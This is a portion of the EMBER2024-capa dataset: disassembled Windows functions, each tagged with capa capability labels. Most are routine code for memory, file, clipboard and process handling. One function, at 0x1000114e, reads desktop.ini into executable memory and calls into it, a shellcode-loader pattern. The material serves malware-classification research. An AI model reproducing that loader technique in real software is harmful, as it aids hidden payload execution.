joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4047e7
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push esi
mov esi, ecx
mov ecx, dword [0x41d078]
call fcn.0040a96f
cmp ax, 0x500
jb 0x4048e7
mov ecx, dword [esi + 0x194]
call fcn.004158c8
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 8]
push ecx
mov ecx, eax
call fcn.004130cb
push dword [esi + 0x1d8]
mov ecx, esi
call fcn.004047af
push 0xffffffffffffffff
push 0x42fe78
lea ecx, [ebp - 4]
mov esi, eax
call fcn.0040c861
mov edx, esi
lea ecx, [ebp - 0x2c]
call fcn.0040c719
push eax
lea ecx, [ebp - 4]
mov dword [ebp - 0x10], eax
call fcn.004017c3
push 0x42fe70
lea ecx, [ebp - 4]
call fcn.004017c3
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x2c]
mov edx, dword [eax + 4]
inc edx
call fcn.0040c77b
push eax
lea ecx, [ebp - 4]
mov dword [ebp - 0x10], eax
call fcn.004017c3
push 0x42fe68
lea ecx, [ebp - 4]
call fcn.004017c3
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
mov eax, dword [eax]
add eax, 0xc
push eax
call fcn.004017c3
push 0x42f82c
lea ecx, [ebp - 4]
call fcn.004017c3
lea ecx, [ebp - 0x234]
call fcn.0040bdf3
mov eax, dword [ebp - 4]
xor esi, esi
push 1
add eax, 0xc
push esi
push eax
lea eax, [ebp - 0x234]
push eax
push str.runas
push esi
call dword [0x4331a0]
cmp eax, 0x20
jle 0x4048df
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 4]
call fcn.0040c8d9
pop esi
leave
ret 4

Function at 0x40520c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov esi, ecx
push edi
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov edx, dword [esi + 8]
mov ebx, ecx
mov edi, eax
sub ebx, eax
neg edi
add ebx, edx
mov edx, dword [ebp + 8]
and edi, 3
mov dword [ebp - 8], eax
add edx, edi
cmp edx, ebx
jbe 0x405280
test ecx, ecx
je 0x405273
lea eax, [ebp - 0x2c]
mov ebx, 0x1000
push eax
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp + 8]
xor edx, edx
div dword [ebp - 0x28]
mov ecx, dword [esi + 8]
push 4
push ebx
inc eax
imul eax, dword [ebp - 0x28]
add eax, ecx
push eax
mov dword [ebp - 4], eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x405277
xor eax, eax
jmp 0x405289
mov eax, dword [ebp - 4]
mov dword [esi + 8], eax
mov eax, dword [ebp - 8]
lea ecx, [eax + edi]
add ecx, dword [ebp + 8]
mov dword [esi + 4], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x406df5
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetACP]
mov eax, dword [esi + 0x1d8]
cmp eax, 0xffffffff
jne 0x406e17
call edi
jmp 0x406e1f
push eax
mov ecx, esi
call fcn.004047af
test eax, eax
jne 0x406e25
call edi
push dword [esi + 0x1dc]
lea ecx, [ebp - 0x1c]
push eax
call fcn.0040f887
mov eax, dword [esi + 0x1d4]
lea edi, [esi + 0x1d4]
add eax, 0xc
lea ecx, [ebp - 0x1c]
push eax
call fcn.0040f902
test al, al
jne 0x406ec2
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str._n_nError_
mov edx, edi
lea ecx, [ebp - 4]
mov ebx, eax
call fcn.00401795
mov edx, ebx
lea ecx, [ebp - 0x3c]
call fcn.0040c77b
push eax
lea ecx, [ebp - 4]
mov dword [ebp - 0x20], eax
call fcn.004017c3
mov eax, dword [ebp - 4]
push 3
lea ecx, [ebp - 0x23c]
lea edi, [eax + 0xc]
call fcn.0040cc15
mov esi, dword [esi + 4]
mov ebx, eax
test esi, esi
mov eax, esi
jne 0x406ea2
call dword [sym.imp.USER32.dll_GetActiveWindow]
push 0
push ebx
push edi
push eax
call dword [0x433094]
lea ecx, [ebp - 4]
call fcn.0040c8d9
lea ecx, [ebp - 0x1c]
call fcn.0040f8a9
xor al, al
pop ebx
jmp 0x406f15
lea eax, [ebp - 0x1c]
lea ecx, [esi + 0x130]
push eax
call fcn.0041a043
lea ecx, [ebp - 0x1c]
call fcn.0040f8a9
mov ecx, esi
call fcn.00406197
push edi
lea ecx, [esi + 0x24]
call fcn.00402d74
test al, al
je 0x406efd
push 0x8000
push 0x4066d9
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [edi]
add ecx, 0xc
call fcn.0040be26
mov dword [esi + 0x1cc], eax
mov dword [esi + 0x1d0], edx
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x4071b7
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
lea ecx, [ebp - 0x208]
call fcn.00406f19
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x18]
push eax
call fcn.0040ab22
or dword [ebp - 0x20], 0xffffffff
and dword [ebp - 0x1c], 0
push 1
pop esi
cmp dword [ebp - 0x10], esi
jbe 0x407229
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + esi*4]
cmp word [eax], 0x2d
jne 0x407229
movzx eax, word [eax + 2]
cmp eax, 0x63
je 0x407215
cmp eax, 0x6c
jne 0x407223
mov eax, dword [ecx + esi*4]
lea ecx, [eax + 4]
call fcn.0040ca91
mov dword [ebp - 0x20], eax
jmp 0x407223
mov eax, dword [ecx + esi*4]
lea ecx, [eax + 4]
call fcn.0040ca91
mov dword [ebp - 0x1c], eax
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x4071eb
mov eax, dword [0x41e888]
push edi
mov dword [ebp - 4], eax
inc dword [eax]
cmp esi, dword [ebp - 0x10]
jae 0x4072ad
mov eax, dword [ebp - 0xc]
mov edi, dword [eax + esi*4]
mov ecx, edi
call fcn.00401f26
lea ecx, [ebp - 4]
push eax
push edi
call fcn.0040c913
lea ecx, [ebp - 4]
call fcn.00406484
test al, al
jne 0x4072ad
lea edi, [esi + 1]
cmp edi, dword [ebp - 0x10]
jae 0x407299
lea eax, [ebp - 8]
push 1
push eax
lea ecx, [ebp - 4]
mov dword [ebp - 8], 0x20
call fcn.0040c963
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push dword [eax + edi*4]
call fcn.004017c3
lea ecx, [ebp - 4]
call fcn.00406484
test al, al
jne 0x407296
inc edi
jmp 0x40725f
cmp edi, dword [ebp - 0x10]
jne 0x4072ab
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push dword [eax + esi*4]
call fcn.004010ce
jmp 0x4072ad
mov esi, edi
inc esi
pop edi
cmp esi, dword [ebp - 0x10]
jae 0x407309
mov eax, dword [0x41e888]
mov dword [ebp - 8], eax
inc dword [eax]
cmp esi, dword [ebp - 0x10]
jae 0x4072f6
lea eax, [ebp - 0x24]
push 1
push eax
lea ecx, [ebp - 8]
mov dword [ebp - 0x24], 0x22
call fcn.0040c963
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push dword [eax + esi*4]
call fcn.004017c3
lea ecx, [ebp - 8]
push 0x42fbcc
call fcn.004017c3
inc esi
jmp 0x4072be
mov eax, dword [ebp - 8]
lea ecx, [eax + 0xc]
call fcn.004034c9
lea ecx, [ebp - 8]
call fcn.0040c8d9
push dword [ebp - 0x20]
lea eax, [ebp - 4]
lea ecx, [ebp - 0x208]
push dword [ebp - 0x1c]
push eax
call fcn.004070e1
test al, al
pop esi
jne 0x407343
lea ecx, [ebp - 4]
call fcn.0040c8d9
lea ecx, [ebp - 0x18]
call fcn.004073c5
lea ecx, [ebp - 0x208]
call fcn.004073e7
or eax, 0xffffffff
leave
ret
mov ecx, 0x41d080
call fcn.00407377
lea ecx, [ebp - 4]
call fcn.0040c8d9
lea ecx, [ebp - 0x18]
call fcn.004073c5
lea ecx, [ebp - 0x208]
call fcn.004120b2
lea ecx, [ebp - 0x208]
call fcn.004073e7
xor eax, eax
leave
ret
Function at 0x407377
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 0x24]
push esi
mov esi, ecx
push eax
mov dword [ebp - 0x20], 0x1000
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esi + 8]
mov ebx, dword [ebp - 0x20]
cmp eax, ebx
jbe 0x4073c1
mov ecx, dword [esi + 0xc]
cmp ecx, eax
jb 0x4073a5
mov eax, ecx
push edi
mov edi, dword [esi]
sub eax, ebx
push 0x4000
push eax
lea eax, [edi + ebx]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 4], edi
mov dword [esi + 8], ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a700
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40a726
cmp eax, 0xffffffff
je 0x40a726
test byte [esi + 0xc], 4
je 0x40a721
call fcn.0040a73c
push dword [esi + 0x14]
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40a730
push eax
call edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40aa73
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
lea eax, [ebp - 0x24]
push edi
mov esi, ecx
push eax
mov dword [ebp - 0x20], 0x1000
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 8]
push 4
push 0x2000
push eax
push 0
mov dword [esi + 0xc], eax
call edi
push 4
push 0x1000
push dword [esi + 8]
mov dword [esi], eax
push eax
call edi
test eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
jne 0x40aac7
and dword [esi + 8], eax
pop edi
pop esi
leave
ret 4
Function at 0x40b036
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
call fcn.0040b15a
mov edi, dword [ebp + 8]
mov ecx, dword [0x41d078]
mov dword [ebp - 4], edi
call fcn.0040a9d0
test al, al
je 0x40b064
mov ecx, edi
call fcn.0040af09
mov dword [ebp - 4], eax
xor ebx, ebx
xor eax, eax
cmp byte [ebp + 0xc], bl
push ebx
push 0x8000080
setne al
add eax, 3
push eax
push ebx
push 3
push 0x80000000
push dword [ebp - 4]
call dword [0x4334a0]
mov edi, eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 8]
je 0x40b09a
push eax
call fcn.0040b5a5
pop ecx
cmp edi, 0xffffffff
mov dword [esi], edi
je 0x40b156
lea eax, [ebp - 8]
mov dword [ebp + 0xc], ebx
push eax
push edi
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebp - 8], ebx
lea edi, [esi + 8]
mov dword [edi], eax
jne 0x40b0c7
cmp eax, 0x80000000
jb 0x40b0fd
mov ecx, dword [ebp + 8]
push 0x2002
call fcn.0040bdcd
push eax
push str.File_is_too_large_to_be_loaded__nRetry_loading_the_1st_64KB_only__nBE_CAREFUL_NOT_TO_ERASE_THE_FILE____
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [0x433094]
cmp eax, 4
jne 0x40b0f8
mov eax, 0x10000
mov dword [ebp + 0xc], eax
mov dword [edi], eax
jmp 0x40b0fd
cmp eax, 3
je 0x40b156
cmp dword [edi], ebx
jne 0x40b10d
mov dword [esi + 0xc], edi
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8
push ebx
push ebx
push ebx
push 2
push ebx
push dword [esi]
call dword [0x4334ec]
cmp eax, ebx
mov dword [esi + 4], eax
jne 0x40b12c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b153
push dword [ebp + 0xc]
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
mov dword [esi + 0xc], eax
jne 0x40b104
push dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi]
mov dword [esi + 4], ebx
call edi
or dword [esi], 0xffffffff
xor al, al
jmp 0x40b106

Function at 0x40b534
Capabilities:
Terminate process

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push dword [0x41d090]
call edi
mov esi, eax
test esi, esi
jne 0x40b5a0
cmp byte [0x41e884], 8
jae 0x40b5a0
push 0x2002
push eax
push str.Unable_to_allocate_memory_
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [0x433094]
sub eax, 3
je 0x40b598
dec eax
jne 0x40b58d
push dword [esp + 0xc]
and byte [0x41e884], 0
push esi
push dword [0x41d090]
jmp 0x40b548
dec eax
jne 0x40b5a0
inc byte [0x41e884]
jmp 0x40b5a0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, esi
pop edi
pop esi
ret

Function at 0x41220e
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esp + 8]
push 0x40
mov dword [esi + 0xc], ecx
mov ecx, dword [esp + 0x10]
xor eax, eax
mov dword [esi + 0x10], ecx
mov ecx, dword [esp + 0x14]
push 0x1000
push 0x16
push eax
mov dword [esi + 4], eax
mov byte [esi + 8], al
mov dword [esi + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 0x18], eax
mov eax, esi
pop esi
ret 0xc
Function at 0x4126b5
Capabilities:
Open clipboard

Disassembly:
push esi
mov esi, ecx
push dword [esp + 8]
and byte [esi], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4126e5
cmp byte [esp + 0xc], 0
jne 0x4126e2
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
jne 0x4126e2
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x4126e5
mov byte [esi], 1
mov eax, esi
pop esi
ret 8
Function at 0x41c012
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push dword [ebp + 8]
and byte [ebp - 0x800], 0
lea eax, [ebp - 0x800]
push eax
call fcn.0041c065
lea eax, [ebp - 0x800]
push str._nThe_application_will_terminate_now.
push eax
call fcn.0041c065
add esp, 0x10
lea eax, [ebp - 0x800]
push 0x10
push str.Fatal_error
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x41c277
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
and dword [ebp + 8], 0
mov eax, dword [edi + 0x3c]
mov esi, dword [eax + edi + 0x78]
mov eax, dword [esi + edi + 0x20]
add esi, edi
add eax, edi
mov ebx, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
add ebx, edi
add ecx, edi
cmp dword [esi + 0x18], 0
mov dword [ebp - 8], ecx
jbe 0x41c2cf
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov eax, dword [eax]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x41c2d6
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x18]
jb 0x41c2ab
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
movzx eax, word [ebx + eax*2]
mov eax, dword [ecx + eax*4]
add eax, edi
jmp 0x41c2d1

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, pe_overlay
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x403045
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x403088
push 6
call fcn.0043ba29
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4030b2
push 6
call fcn.0043ba29
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
mov eax, 0
sete al
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4030e6
push 6
call fcn.0043ba29
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x4030ee
mov esp, ebp
pop ebp
ret 4

Function at 0x4030f4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0x14], 1
jne 0x403113
mov dword [ebp + 0x14], 0
jmp 0x403130
cmp dword [ebp + 0x14], 2
jne 0x403129
mov dword [ebp + 0x14], 7
jmp 0x403130
mov dword [ebp + 0x14], 1
mov dword [ebp - 4], esp
push dword [ebp + 0x14]
push 0x44422d
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0x4442a3
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x40316b
push 6
call fcn.0043ba29
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jne 0x403187
mov eax, 0
jmp 0x403191
mov eax, 1
jmp 0x403191
mov esp, ebp
pop ebp
ret 0x14
Function at 0x10001000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x10001071
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x10001071
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x1000105a
jmp 0x10001071
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x10008ff9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1006b8d8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov ecx, 0x101f30f6
push edi
call fcn.10028e96
cmp dword [esi + 0x38], 0
je 0x10009087
cmp byte [esi + 0x3d], 0
je 0x10009087
mov eax, dword [esi]
mov ecx, esi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x10009059
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x1000905d
sub eax, 1
je 0x10009061
dec eax
sub eax, 1
je 0x10009087
xor al, al
jmp 0x10009089
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1000907e
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.10030350
add esp, 0x10
cmp edi, eax
jne 0x10009059
cmp byte [esi + 0x3d], 0
sete al
jmp 0x10009089
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10028ec8
leave
ret
Function at 0x1000a754
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1006b8d8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov ecx, 0x101f30f6
push edi
call fcn.10028e96
mov ebx, dword [ebp + 8]
or edi, 0xffffffff
cmp ebx, edi
jne 0x1000a78c
lea eax, [ebp + 8]
push eax
call fcn.1000a69d
pop ecx
jmp 0x1000a84b
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x1000a7b4
mov ecx, esi
call fcn.10009f8d
cmp dword [ebp - 0x2c], eax
jae 0x1000a7b4
mov ecx, esi
call fcn.100096aa
mov byte [eax], bl
mov eax, ebx
jmp 0x1000a84b
cmp dword [esi + 0x4c], 0
je 0x1000a849
mov ecx, esi
call fcn.100096c8
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1000a7de
push dword [esi + 0x4c]
push ebx
call fcn.10005258
test al, al
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x1000a849
lea eax, [ebp - 0x30]
mov byte [ebp - 0x28], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x1000a849
cmp eax, 1
jle 0x1000a818
cmp eax, 3
jne 0x1000a849
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x1000a7d0
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x2c], eax
je 0x1000a83b
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call fcn.10030350
add esp, 0x10
cmp dword [ebp - 0x2c], eax
jne 0x1000a849
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
mov eax, ebx
jne 0x1000a84b
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10028ec8
leave
ret 4
Function at 0x1000b0eb
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
mov ecx, 0x101f30f6
call fcn.10028e96
cmp dword [ebx + 0x38], 0
mov ecx, ebx
je 0x1000b119
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000b1c4
jmp 0x1000b1bf
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
call fcn.100091f5
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x1000b1b3
jg 0x1000b13e
test esi, esi
je 0x1000b1b3
test ecx, ecx
jl 0x1000b180
jg 0x1000b148
test eax, eax
je 0x1000b180
cmp edi, ecx
jg 0x1000b15a
jl 0x1000b152
cmp esi, eax
jae 0x1000b15a
mov eax, esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
push eax
mov eax, dword [ebx + 0x1c]
push dword [eax]
push dword [ebp + 8]
call fcn.10009c7f
mov eax, dword [ebp + 0x10]
add esp, 0xc
add dword [ebp + 8], eax
mov ecx, ebx
sub esi, eax
sbb edi, dword [ebp - 4]
push eax
call fcn.1000a234
jmp 0x1000b186
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
test edi, edi
jl 0x1000b1b3
jg 0x1000b190
test esi, esi
je 0x1000b1b3
cmp dword [ebx + 0x4c], 0
je 0x1000b1b3
mov ecx, ebx
call fcn.100096c8
push dword [ebx + 0x4c]
push esi
push 1
push dword [ebp + 8]
call fcn.1002fcbc
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x1000b28e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
mov ecx, 0x101f30f6
call fcn.10028e96
cmp dword [ebx + 0x38], 0
mov ecx, ebx
je 0x1000b2bc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000b359
jmp 0x1000b354
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
call fcn.1000968a
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x1000b348
jg 0x1000b2e1
test esi, esi
je 0x1000b348
test ecx, ecx
jl 0x1000b321
jg 0x1000b2eb
test eax, eax
je 0x1000b321
cmp edi, ecx
jg 0x1000b2fd
jl 0x1000b2f5
cmp esi, eax
jae 0x1000b2fd
mov eax, esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
push eax
mov eax, dword [ebx + 0x20]
push dword [ebp + 8]
push dword [eax]
call fcn.10009c7f
mov eax, dword [ebp + 0x10]
add esp, 0xc
add dword [ebp + 8], eax
mov ecx, ebx
sub esi, eax
sbb edi, dword [ebp - 4]
push eax
call fcn.1000a8f8
mov eax, dword [ebp + 8]
test edi, edi
jl 0x1000b348
jg 0x1000b32e
test esi, esi
je 0x1000b348
cmp dword [ebx + 0x4c], 0
je 0x1000b348
push dword [ebx + 0x4c]
push esi
push 1
push eax
call fcn.10030350
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
leave
ret 0xc